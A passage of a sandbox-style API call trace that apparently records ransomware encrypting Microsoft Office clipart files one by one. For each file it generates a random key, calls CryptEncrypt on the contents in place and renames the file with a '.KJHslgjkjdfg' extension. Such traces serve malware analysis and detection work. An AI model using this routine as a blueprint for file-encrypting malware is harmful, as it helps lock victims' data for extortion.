nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.605] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.605] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.605] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd74, lpOverlapped=0x0) returned 1 [0198.605] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd80, dwBufLen=0xd80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd80) returned 1 [0198.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.605] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd80, lpOverlapped=0x0) returned 1 [0198.605] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.605] SetEndOfFile (hFile=0x130) returned 1 [0198.608] GetProcessHeap () returned 0x2ef0000 [0198.608] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.608] GetProcessHeap () returned 0x2ef0000 [0198.608] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.kjhslgjkjdfg")) returned 1 [0198.609] CloseHandle (hObject=0x130) returned 1 [0198.609] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0198.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.610] GetProcessHeap () returned 0x2ef0000 [0198.610] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.610] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.613] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.613] GetProcessHeap () returned 0x2ef0000 [0198.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.613] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.613] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.613] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.613] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.613] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4314, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4314, lpOverlapped=0x0) returned 1 [0198.614] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4320, dwBufLen=0x4320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4320) returned 1 [0198.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.615] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4320, lpOverlapped=0x0) returned 1 [0198.615] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x43f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.615] SetEndOfFile (hFile=0x130) returned 1 [0198.618] GetProcessHeap () returned 0x2ef0000 [0198.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.618] GetProcessHeap () returned 0x2ef0000 [0198.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.kjhslgjkjdfg")) returned 1 [0198.619] CloseHandle (hObject=0x130) returned 1 [0198.619] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0198.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.620] GetProcessHeap () returned 0x2ef0000 [0198.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.620] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.620] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.622] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.622] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.622] GetProcessHeap () returned 0x2ef0000 [0198.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.622] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.622] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.622] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.623] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.623] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.623] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d0c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d0c, lpOverlapped=0x0) returned 1 [0198.624] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d10, dwBufLen=0x2d10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d10) returned 1 [0198.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.624] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d10, lpOverlapped=0x0) returned 1 [0198.625] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.625] SetEndOfFile (hFile=0x130) returned 1 [0198.626] GetProcessHeap () returned 0x2ef0000 [0198.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.626] GetProcessHeap () returned 0x2ef0000 [0198.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.kjhslgjkjdfg")) returned 1 [0198.627] CloseHandle (hObject=0x130) returned 1 [0198.627] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0198.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.628] GetProcessHeap () returned 0x2ef0000 [0198.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.628] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.631] GetProcessHeap () returned 0x2ef0000 [0198.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.631] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.631] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.631] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.632] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.632] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.632] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2bdc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2bdc, lpOverlapped=0x0) returned 1 [0198.633] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2be0, dwBufLen=0x2be0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2be0) returned 1 [0198.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.633] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2be0, lpOverlapped=0x0) returned 1 [0198.633] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.633] SetEndOfFile (hFile=0x130) returned 1 [0198.636] GetProcessHeap () returned 0x2ef0000 [0198.636] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.636] GetProcessHeap () returned 0x2ef0000 [0198.636] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.kjhslgjkjdfg")) returned 1 [0198.638] CloseHandle (hObject=0x130) returned 1 [0198.638] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0198.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.638] GetProcessHeap () returned 0x2ef0000 [0198.638] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.639] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.639] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.639] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.639] GetProcessHeap () returned 0x2ef0000 [0198.639] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.639] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.639] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.641] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.641] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.642] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.642] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: 